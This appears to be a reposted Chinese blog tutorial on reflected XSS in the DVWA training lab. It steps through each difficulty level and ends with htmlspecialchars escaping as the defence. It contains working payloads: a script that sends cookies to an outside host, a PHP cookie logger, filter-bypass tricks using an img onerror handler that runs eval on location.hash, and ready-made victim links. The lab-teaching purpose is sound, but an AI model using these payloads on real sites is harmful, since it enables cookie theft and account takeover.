DVWA 黑客攻防演练(十)反射型 XSS 攻击 Reflected Cross Site Scripting

栏目: 编程工具 · 发布时间: 6年前

内容简介:XSS(Cross-site scripting) 攻击,为和 CSS 有所区分,所以叫 XSS。又是一种防不胜防的攻击,应该算是一种 “HTML注入攻击”,原本开发者想的是显示数据,然而攻击者输入却是有破坏性的代码,而且能被解析执行。Symantec在2007年报告更是指出跨站脚本漏洞大概占所有网站漏洞的84%。XSS 大致分成三种类型(白帽子讲web安全):功能很简单,显示就是输入框输入的东西 比如:输入 World 就能显示 Hello World。 此时 Hacker 尝试输入

XSS(Cross-site scripting) 攻击,为和 CSS 有所区分,所以叫 XSS。又是一种防不胜防的攻击,应该算是一种 “HTML注入攻击”,原本开发者想的是显示数据,然而攻击者输入却是有破坏性的代码,而且能被解析执行。Symantec在2007年报告更是指出跨站脚本漏洞大概占所有网站漏洞的84%。

XSS 大致分成三种类型(白帽子讲web安全):

  • 反射型,就是本文的内容。
  • 存储型,在这篇文章会介绍。
  • DOM 型,如果用是否会存储在服务器上区分的话,DOM型也是反射型。但比较特殊,一般会单独拿出来讨论的,在这里会讨论到

低级

功能很简单,显示就是输入框输入的东西 比如:输入 World 就能显示 Hello World。 此时 Hacker 尝试输入 <script>alert(1)</script>

这是因为,php 输出已经变成了, '<pre>Hello <script>alert(1)</script></pre>' 然后输出到页面时,直接运行  <script>alert(1)</script> 这就是 XSS,原本这个地方应该是输入数据的,但是却变成运行代码了。 接下来 hacker 再作尝试,它写了这样一个文件 a.com/test.js

var img = document.createElement("img")
img.src = "http://www.a.com/?cookies="+escape(document.cookie);
document.body.appendChild(img);

而对应 www.a.com/index.php 的代码是这样,目的是记录发送过来的 cookies

<?php
$c = $_GET["cookies"];
echo $c;
error_log($c ."". "\n",3,"/var/log/a/cookies");
?>
然后再在输出框中输入 <script src="//www.a.com/test.js"></script>

。。。

就会直接将你的 cookies 直接发送到 a.com

有了你的 cookies 就为所欲为了,改密码什么的。 现在只需诱导用户(发邮件之类的)点击这样的连接就Ok了  http://192.168.0.110:5678/vulnerabilities/xss_r/?name=%3Cscript+src%3D%22%2F%2Fwww.a.com%2Ftest.js%22%3E%3C%2Fscript%3E#

比如:

中级

中级代码意识到会有人使用 script 的注入方式,于是就想将 script 标签去掉

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

?>
而 Hacker 输入的是 <Script src="//www.a.com/test.js"></Script>

。。。还是被注入了。

还可以输入  <scr<script>ipt src="//www.a.com/test.js"></script> 之类

高级

高级代码,使用 preg_replace 函数,无论 script 大小写如何变化也会删除

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

?>

所以可以采用不使用 script 的方式。

比如利用 img 的 onerror 函数,意思是说,如果图片的地址是错误的,就执行 alert(1)
但如果直接在 onerror 函数中写注入的代码又很有可能被那个正则表达式替换掉的。

所以要通过其他方式绕过这个正则替换,比如利用 location.hash

这是什么东西?

url 中 # 号后面的东西,比如 https://www.zhihu.com/topic#Linux 的 location.hash 就是 #Linux ,前端框架一般会用来做单页面路由。 这个东西没有长度限制而且不会被传到后台的

所以,可以这样, <img src=x onerror="eval(unescape(location.hash.substr(1)))"> 而在构造 url 就可以放心把代码放在 #号后面了。

所以点击下面连接就会偷掉你的cookies了(要复制黏贴)

http://192.168.0.110:5678/vulnerabilities/xss_r/?name=%3Cimg%20src=x%20onerror=%22eval(unescape(location.hash.substr(1) ))%22%3E#var%20img%20=%20document.createElement(‘img’);img.src=’ http://www.a.com/?cookies=’+escape(document.cookie);document.body.appendChild(img)

不可能

不可能级别添加了 anti-token 防御机制,和 htmlseecialchars 函数来防御

<?php 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $name = htmlspecialchars( $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?>

htmlseecialchars 函数作用是什么?来探讨一下

输入上一级的注入语句

看 dom 的元素,也看不出什么

再看看请求返回的什么

看到了吗,那个函数将 < ” 等符号转义了


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Pro Git (Second Edition)

Pro Git (Second Edition)

Scott Chacon、Ben Straub / Apress / 2014-11-9 / USD 59.99

Scott Chacon is a cofounder and the CIO of GitHub and is also the maintainer of the Git homepage ( git-scm.com ) . Scott has presented at dozens of conferences around the world on Git, GitHub and the ......一起来看看 《Pro Git (Second Edition)》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

随机密码生成器
随机密码生成器

多种字符组合密码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换